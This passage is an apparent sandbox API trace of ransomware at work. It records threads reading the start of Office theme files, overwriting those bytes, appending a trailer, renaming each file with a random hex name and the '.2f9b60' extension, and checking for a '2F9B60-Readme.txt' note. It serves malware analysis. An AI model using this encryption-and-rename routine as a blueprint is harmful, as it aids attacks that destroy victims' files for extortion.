SetFilePointerEx (in: hFile=0xa50, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.609] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0089.609] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e070 [0089.609] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a540 [0089.609] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a540) returned 1 [0089.609] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1ceac550 [0089.609] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a540 [0089.609] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859e80 [0089.609] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859e80) returned 1 [0089.609] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e070) returned 1 [0089.610] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0089.610] WriteFile (in: hFile=0xa50, lpBuffer=0x1ceac550*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x25ccf7a0, lpOverlapped=0x0 | out: lpBuffer=0x1ceac550*, lpNumberOfBytesWritten=0x25ccf7a0*=0x3c00, lpOverlapped=0x0) returned 1 [0089.612] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceac550) returned 1 [0089.612] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cea4d30) returned 1 [0089.612] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x1b859e80 [0089.612] SetFilePointerEx (in: hFile=0xa50, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0089.612] WriteFile (in: hFile=0xa50, lpBuffer=0x1695e0*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x25ccf850, lpOverlapped=0x0 | out: lpBuffer=0x1695e0*, lpNumberOfBytesWritten=0x25ccf850*=0x106, lpOverlapped=0x0) returned 1 [0089.615] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0089.615] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e070 [0089.615] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a4e0 [0089.615] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a4e0) returned 1 [0089.615] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82d000 [0089.615] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a4e0 [0089.615] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859e50 [0089.615] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859e50) returned 1 [0089.615] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e070) returned 1 [0089.615] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0089.615] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x1cd9fa30 [0089.615] sprintf (in: _Dest=0x1cd9fa30, _Format="%c%c" | out: _Dest="2c") returned 2 [0089.615] sprintf (in: _Dest=0x1cd9fa32, _Format="%c%c" | out: _Dest="10") returned 2 [0089.615] sprintf (in: _Dest=0x1cd9fa34, _Format="%c%c" | out: _Dest="64") returned 2 [0089.616] sprintf (in: _Dest=0x1cd9fa36, _Format="%c%c" | out: _Dest="ad") returned 2 [0089.616] sprintf (in: _Dest=0x1cd9fa38, _Format="%c%c" | out: _Dest="e1") returned 2 [0089.616] sprintf (in: _Dest=0x1cd9fa3a, _Format="%c%c" | out: _Dest="e1") returned 2 [0089.616] sprintf (in: _Dest=0x1cd9fa3c, _Format="%c%c" | out: _Dest="7a") returned 2 [0089.616] sprintf (in: _Dest=0x1cd9fa3e, _Format="%c%c" | out: _Dest="32") returned 2 [0089.616] sprintf (in: _Dest=0x1cd9fa40, _Format="%c%c" | out: _Dest="bb") returned 2 [0089.616] sprintf (in: _Dest=0x1cd9fa42, _Format="%c%c" | out: _Dest="8c") returned 2 [0089.616] sprintf (in: _Dest=0x1cd9fa44, _Format="%c%c" | out: _Dest="e2") returned 2 [0089.616] sprintf (in: _Dest=0x1cd9fa46, _Format="%c%c" | out: _Dest="4e") returned 2 [0089.616] sprintf (in: _Dest=0x1cd9fa48, _Format="%c%c" | out: _Dest="b2") returned 2 [0089.616] sprintf (in: _Dest=0x1cd9fa4a, _Format="%c%c" | out: _Dest="6c") returned 2 [0089.616] sprintf (in: _Dest=0x1cd9fa4c, _Format="%c%c" | out: _Dest="40") returned 2 [0089.616] sprintf (in: _Dest=0x1cd9fa4e, _Format="%c%c" | out: _Dest="50") returned 2 [0089.616] sprintf (in: _Dest=0x1cd9fa50, _Format="%c%c" | out: _Dest="ce") returned 2 [0089.616] sprintf (in: _Dest=0x1cd9fa52, _Format="%c%c" | out: _Dest="a1") returned 2 [0089.616] sprintf (in: _Dest=0x1cd9fa54, _Format="%c%c" | out: _Dest="87") returned 2 [0089.616] sprintf (in: _Dest=0x1cd9fa56, _Format="%c%c" | out: _Dest="83") returned 2 [0089.616] RtlInitAnsiString (in: DestinationString=0x25ccf8c8, SourceString="2c1064ade1e17a32bb8ce24eb26c4050cea18783" | out: DestinationString="2c1064ade1e17a32bb8ce24eb26c4050cea18783") [0089.616] RtlAnsiStringToUnicodeString (in: DestinationString=0x25ccf898, SourceString="2c1064ade1e17a32bb8ce24eb26c4050cea18783", AllocateDestinationString=1 | out: DestinationString="2c1064ade1e17a32bb8ce24eb26c4050cea18783") returned 0x0 [0089.616] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1cd9d4f0 [0089.616] wcscat (in: _Dest=0x1b7ad160, _Source="2c1064ade1" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\2c1064ade1") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\2c1064ade1" [0089.617] wcscat (in: _Dest=0x1b7ad160, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\2c1064ade1.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\2c1064ade1.2f9b60" [0089.617] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\2c1064ade1.2f9b60", NtPathName=0x25ccf870, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\2c1064ade1.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0089.617] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x106e80 [0089.618] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x106e80) returned 1 [0089.618] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b77af50) returned 1 [0089.618] NtQueryInformationFile (in: FileHandle=0xa50, IoStatusBlock=0x25ccf8d8, FileInformation=0x25ccf8e8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x25ccf8d8, FileInformation=0x25ccf8e8) returned 0x0 [0089.618] NtSetInformationFile (FileHandle=0xa50, IoStatusBlock=0x25ccf8d8, FileInformation=0x25ccf8e8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0089.620] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad160) returned 1 [0089.620] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9d4f0) returned 1 [0089.620] FlushFileBuffers (hFile=0xa50) returned 1 [0089.631] CloseHandle (hObject=0xa50) returned 1 [0089.632] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x1b7ad160 [0089.632] wcscpy (in: _Dest=0x1b7ad160, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0089.632] wcscat (in: _Dest=0x1b7ad160, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\2F9B60-Readme.txt" [0089.633] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\2f9b60-readme.txt")) returned 0x20 [0089.633] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad160) returned 1 [0089.633] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85beb0) returned 1 Thread: id = 362 os_tid = 0xed8 [0089.638] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Verve.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\verve.thmx")) returned 0x20 [0089.639] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Verve.thmx", dwFileAttributes=0x20) returned 1 [0089.640] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Verve.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\verve.thmx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xa4c [0089.640] GetFileSizeEx (in: hFile=0xa4c, lpFileSize=0x242cfac0 | out: lpFileSize=0x242cfac0*=75264) returned 1 [0089.640] SetFilePointerEx (in: hFile=0xa4c, liDistanceToMove=0x125fc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.640] ReadFile (in: hFile=0xa4c, lpBuffer=0x242cfa40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x242cfa88, lpOverlapped=0x0 | out: lpBuffer=0x242cfa40*, lpNumberOfBytesRead=0x242cfa88*=0x4, lpOverlapped=0x0) returned 1 [0089.642] SetFilePointerEx (in: hFile=0xa4c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.642] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a690 [0089.642] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a6c0 [0089.642] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a570 [0089.642] NtQuerySystemTime (in: CurrentTime=0x242cf980 | out: CurrentTime=0x242cf980*=132462176955106000) returned 0x0 [0089.642] RtlRandomEx (in: Seed=0x242cf970 | out: Seed=0x242cf970) returned 0x631bd11d [0089.642] RtlRandomEx (in: Seed=0x242cf970 | out: Seed=0x242cf970) returned 0x5072808b [0089.642] RtlRandomEx (in: Seed=0x242cf970 | out: Seed=0x242cf970) returned 0x4ff053dc [0089.642] RtlRandomEx (in: Seed=0x242cf970 | out: Seed=0x242cf970) returned 0x61645f20 [0089.642] RtlRandomEx (in: Seed=0x242cf970 | out: Seed=0x242cf970) returned 0x7d3284b2 [0089.642] RtlRandomEx (in: Seed=0x242cf970 | out: Seed=0x242cf970) returned 0x1d099791 [0089.642] RtlRandomEx (in: Seed=0x242cf970 | out: Seed=0x242cf970) returned 0x5f6caa5a [0089.642] RtlRandomEx (in: Seed=0x242cf970 | out: Seed=0x242cf970) returned 0x296d10cb [0089.642] RtlRandomEx (in: Seed=0x242cf970 | out: Seed=0x242cf970) returned 0xcee3f13 [0089.642] RtlRandomEx (in: Seed=0x242cf970 | out: Seed=0x242cf970) returned 0x586907b1 [0089.642] RtlRandomEx (in: Seed=0x242cf970 | out: Seed=0x242cf970) returned 0x17ee86e9 [0089.642] RtlRandomEx (in: Seed=0x242cf970 | out: Seed=0x242cf970) returned 0x7d7bc231 [0089.643] RtlRandomEx (in: Seed=0x242cf970 | out: Seed=0x242cf970) returned 0xab0403d [0089.643] RtlRandomEx (in: Seed=0x242cf970 | out: Seed=0x242cf970) returned 0x1e176a1c [0089.643] RtlRandomEx (in: Seed=0x242cf970 | out: Seed=0x242cf970) returned 0x2af79e4e [0089.643] RtlRandomEx (in: Seed=0x242cf970 | out: Seed=0x242cf970) returned 0xceb96a7 [0089.643] RtlRandomEx (in: Seed=0x242cf970 | out: Seed=0x242cf970) returned 0x2d5d1f02 [0089.643] RtlRandomEx (in: Seed=0x242cf970 | out: Seed=0x242cf970) returned 0x14806b5a [0089.643] RtlRandomEx (in: Seed=0x242cf970 | out: Seed=0x242cf970) returned 0x2b183f65 [0089.643] RtlRandomEx (in: Seed=0x242cf970 | out: Seed=0x242cf970) returned 0xbdef258 [0089.643] RtlRandomEx (in: Seed=0x242cf970 | out: Seed=0x242cf970) returned 0x460f164e [0089.643] RtlRandomEx (in: Seed=0x242cf970 | out: Seed=0x242cf970) returned 0x28b1f7e8 [0089.643] RtlRandomEx (in: Seed=0x242cf970 | out: Seed=0x242cf970) returned 0x685d7f0d [0089.643] RtlRandomEx (in: Seed=0x242cf970 | out: Seed=0x242cf970) returned 0x74a4fa52 [0089.643] RtlRandomEx (in: Seed=0x242cf970 | out: Seed=0x242cf970) returned 0x2e4bc9c0 [0089.643] RtlRandomEx (in: Seed=0x242cf970 | out: Seed=0x242cf970) returned 0x60433d00 [0089.643] RtlRandomEx (in: Seed=0x242cf970 | out: Seed=0x242cf970) returned 0x2f276b60 [0089.643] RtlRandomEx (in: Seed=0x242cf970 | out: Seed=0x242cf970) returned 0x4b779a39 [0089.643] RtlRandomEx (in: Seed=0x242cf970 | out: Seed=0x242cf970) returned 0x58ca016e [0089.643] RtlRandomEx (in: Seed=0x242cf970 | out: Seed=0x242cf970) returned 0x18efb4cf [0089.643] RtlRandomEx (in: Seed=0x242cf970 | out: Seed=0x242cf970) returned 0x512b390 [0089.643] RtlRandomEx (in: Seed=0x242cf970 | out: Seed=0x242cf970) returned 0x53128ea8 [0089.652] SetFilePointerEx (in: hFile=0xa4c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.652] ReadFile (in: hFile=0xa4c, lpBuffer=0x1ce5d510, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x242cf9e0, lpOverlapped=0x0 | out: lpBuffer=0x1ce5d510*, lpNumberOfBytesRead=0x242cf9e0*=0x3c00, lpOverlapped=0x0) returned 1 [0089.656] SetFilePointerEx (in: hFile=0xa4c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.656] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0089.656] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e070 [0089.656] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a690 [0089.656] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a690) returned 1 [0089.657] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1cea4d30 [0089.657] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a690 [0089.657] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a570 [0089.657] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a570) returned 1 [0089.657] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e070) returned 1 [0089.657] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0089.657] WriteFile (in: hFile=0xa4c, lpBuffer=0x1cea4d30*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x242cf9e0, lpOverlapped=0x0 | out: lpBuffer=0x1cea4d30*, lpNumberOfBytesWritten=0x242cf9e0*=0x3c00, lpOverlapped=0x0) returned 1 [0089.660] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cea4d30) returned 1 [0089.660] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5d510) returned 1 [0089.660] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x1b85a570 [0089.661] SetFilePointerEx (in: hFile=0xa4c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0089.661] WriteFile (in: hFile=0xa4c, lpBuffer=0x1695e0*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x242cfa90, lpOverlapped=0x0 | out: lpBuffer=0x1695e0*, lpNumberOfBytesWritten=0x242cfa90*=0x106, lpOverlapped=0x0) returned 1 [0089.665] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0089.665] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e070 [0089.666] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a3f0 [0089.666] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a3f0) returned 1 [0089.666] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82d000 [0089.666] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a3f0 [0089.666] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a480 [0089.666] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a480) returned 1 [0089.666] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e070) returned 1 [0089.666] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0089.666] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x1cd9fa30 [0089.666] sprintf (in: _Dest=0x1cd9fa30, _Format="%c%c" | out: _Dest="50") returned 2 [0089.666] sprintf (in: _Dest=0x1cd9fa32, _Format="%c%c" | out: _Dest="77") returned 2 [0089.666] sprintf (in: _Dest=0x1cd9fa34, _Format="%c%c" | out: _Dest="95") returned 2 [0089.666] sprintf (in: _Dest=0x1cd9fa36, _Format="%c%c" | out: _Dest="fe") returned 2 [0089.666] sprintf (in: _Dest=0x1cd9fa38, _Format="%c%c" | out: _Dest="d8") returned 2 [0089.666] sprintf (in: _Dest=0x1cd9fa3a, _Format="%c%c" | out: _Dest="86") returned 2 [0089.666] sprintf (in: _Dest=0x1cd9fa3c, _Format="%c%c" | out: _Dest="f0") returned 2 [0089.666] sprintf (in: _Dest=0x1cd9fa3e, _Format="%c%c" | out: _Dest="ed") returned 2 [0089.666] sprintf (in: _Dest=0x1cd9fa40, _Format="%c%c" | out: _Dest="0c") returned 2 [0089.666] sprintf (in: _Dest=0x1cd9fa42, _Format="%c%c" | out: _Dest="59") returned 2 [0089.666] sprintf (in: _Dest=0x1cd9fa44, _Format="%c%c" | out: _Dest="8c") returned 2 [0089.666] sprintf (in: _Dest=0x1cd9fa46, _Format="%c%c" | out: _Dest="fc") returned 2 [0089.667] sprintf (in: _Dest=0x1cd9fa48, _Format="%c%c" | out: _Dest="91") returned 2 [0089.667] sprintf (in: _Dest=0x1cd9fa4a, _Format="%c%c" | out: _Dest="03") returned 2 [0089.667] sprintf (in: _Dest=0x1cd9fa4c, _Format="%c%c" | out: _Dest="f0") returned 2 [0089.667] sprintf (in: _Dest=0x1cd9fa4e, _Format="%c%c" | out: _Dest="bf") returned 2 [0089.667] sprintf (in: _Dest=0x1cd9fa50, _Format="%c%c" | out: _Dest="3e") returned 2 [0089.667] sprintf (in: _Dest=0x1cd9fa52, _Format="%c%c" | out: _Dest="33") returned 2 [0089.667] sprintf (in: _Dest=0x1cd9fa54, _Format="%c%c" | out: _Dest="ed") returned 2 [0089.667] sprintf (in: _Dest=0x1cd9fa56, _Format="%c%c" | out: _Dest="ed") returned 2 [0089.667] RtlInitAnsiString (in: DestinationString=0x242cfb08, SourceString="507795fed886f0ed0c598cfc9103f0bf3e33eded" | out: DestinationString="507795fed886f0ed0c598cfc9103f0bf3e33eded") [0089.667] RtlAnsiStringToUnicodeString (in: DestinationString=0x242cfad8, SourceString="507795fed886f0ed0c598cfc9103f0bf3e33eded", AllocateDestinationString=1 | out: DestinationString="507795fed886f0ed0c598cfc9103f0bf3e33eded") returned 0x0 [0089.667] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1cd9d4f0 [0089.667] wcscat (in: _Dest=0x1b7ad160, _Source="507795fed8" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\507795fed8") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\507795fed8" [0089.667] wcscat (in: _Dest=0x1b7ad160, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\507795fed8.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\507795fed8.2f9b60" [0089.667] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\507795fed8.2f9b60", NtPathName=0x242cfab0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\507795fed8.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0089.667] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x106e80 [0089.694] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x106e80) returned 1 [0089.694] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b77af50) returned 1 [0089.694] NtQueryInformationFile (in: FileHandle=0xa4c, IoStatusBlock=0x242cfb18, FileInformation=0x242cfb28, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x242cfb18, FileInformation=0x242cfb28) returned 0x0 [0089.694] NtSetInformationFile (FileHandle=0xa4c, IoStatusBlock=0x242cfb18, FileInformation=0x242cfb28, Length=0x28, FileInformationClass=0x4) returned 0x0 [0089.696] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad160) returned 1 [0089.696] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9d4f0) returned 1 [0089.696] FlushFileBuffers (hFile=0xa4c) returned 1 [0089.698] CloseHandle (hObject=0xa4c) returned 1 [0089.699] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x1b7ad160 [0089.699] wcscpy (in: _Dest=0x1b7ad160, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0089.699] wcscat (in: _Dest=0x1b7ad160, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\2F9B60-Readme.txt" [0089.699] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\2f9b60-readme.txt")) returned 0x20 [0089.699] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad160) returned 1 [0089.699] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85bf40) returned 1 Thread: id = 363 os_tid = 0xedc [0089.659] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Waveform.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\waveform.thmx")) returned 0x20 [0089.661] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Waveform.thmx", dwFileAttributes=0x20) returned 1 [0089.662] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Waveform.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\waveform.thmx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xa50 [0089.662] GetFileSizeEx (in: hFile=0xa50, lpFileSize=0x25d5f940 | out: lpFileSize=0x25d5f940*=181889) returned 1 [0089.662] SetFilePointerEx (in: hFile=0xa50, liDistanceToMove=0x2c67d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.662] ReadFile (in: hFile=0xa50, lpBuffer=0x25d5f8c0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x25d5f908, lpOverlapped=0x0 | out: lpBuffer=0x25d5f8c0*, lpNumberOfBytesRead=0x25d5f908*=0x4, lpOverlapped=0x0) returned 1 [0089.679] SetFilePointerEx (in: hFile=0xa50, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.679] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a2d0 [0089.679] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a5a0 [0089.679] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a6c0 [0089.679] NtQuerySystemTime (in: CurrentTime=0x25d5f800 | out: CurrentTime=0x25d5f800*=132462176955418000) returned 0x0 [0089.679] RtlRandomEx (in: Seed=0x25d5f7f0 | out: Seed=0x25d5f7f0) returned 0x69db42f6 [0089.679] RtlRandomEx (in: Seed=0x25d5f7f0 | out: Seed=0x25d5f7f0) returned 0x6ffd5742 [0089.679] RtlRandomEx (in: Seed=0x25d5f7f0 | out: Seed=0x25d5f7f0) returned 0x1a21a40a [0089.679] RtlRandomEx (in: Seed=0x25d5f7f0 | out: Seed=0x25d5f7f0) returned 0x4aad055f [0089.679] RtlRandomEx (in: Seed=0x25d5f7f0 | out: Seed=0x25d5f7f0) returned 0x233f05de [0089.679] RtlRandomEx (in: Seed=0x25d5f7f0 | out: Seed=0x25d5f7f0) returned 0x29a2770c [0089.679] RtlRandomEx (in: Seed=0x25d5f7f0 | out: Seed=0x25d5f7f0) returned 0x45f98ca7 [0089.679] RtlRandomEx (in: Seed=0x25d5f7f0 | out: Seed=0x25d5f7f0) returned 0x19d324b0 [0089.679] RtlRandomEx (in: Seed=0x25d5f7f0 | out: Seed=0x25d5f7f0) returned 0x6a912109 [0089.679] RtlRandomEx (in: Seed=0x25d5f7f0 | out: Seed=0x25d5f7f0) returned 0x31990739 [0089.679] RtlRandomEx (in: Seed=0x25d5f7f0 | out: Seed=0x25d5f7f0) returned 0x3f9b7b78 [0089.679] RtlRandomEx (in: Seed=0x25d5f7f0 | out: Seed=0x25d5f7f0) returned 0x237c916e [0089.679] RtlRandomEx (in: Seed=0x25d5f7f0 | out: Seed=0x25d5f7f0) returned 0x64edc0df [0089.679] RtlRandomEx (in: Seed=0x25d5f7f0 | out: Seed=0x25d5f7f0) returned 0x29399590 [0089.679] RtlRandomEx (in: Seed=0x25d5f7f0 | out: Seed=0x25d5f7f0) returned 0x14741bfc [0089.679] RtlRandomEx (in: Seed=0x25d5f7f0 | out: Seed=0x25d5f7f0) returned 0x5fa9d414 [0089.679] RtlRandomEx (in: Seed=0x25d5f7f0 | out: Seed=0x25d5f7f0) returned 0x1ab9b39 [0089.679] RtlRandomEx (in: Seed=0x25d5f7f0 | out: Seed=0x25d5f7f0) returned 0x4d14fab3 [0089.679] RtlRandomEx (in: Seed=0x25d5f7f0 | out: Seed=0x25d5f7f0) returned 0x41ba968f [0089.680] RtlRandomEx (in: Seed=0x25d5f7f0 | out: Seed=0x25d5f7f0) returned 0x49d76c37 [0089.680] RtlRandomEx (in: Seed=0x25d5f7f0 | out: Seed=0x25d5f7f0) returned 0x7d7ad398 [0089.680] RtlRandomEx (in: Seed=0x25d5f7f0 | out: Seed=0x25d5f7f0) returned 0x33d7dbb [0089.680] RtlRandomEx (in: Seed=0x25d5f7f0 | out: Seed=0x25d5f7f0) returned 0x173f906c [0089.680] RtlRandomEx (in: Seed=0x25d5f7f0 | out: Seed=0x25d5f7f0) returned 0x249ee01 [0089.680] RtlRandomEx (in: Seed=0x25d5f7f0 | out: Seed=0x25d5f7f0) returned 0x39290f3 [0089.680] RtlRandomEx (in: 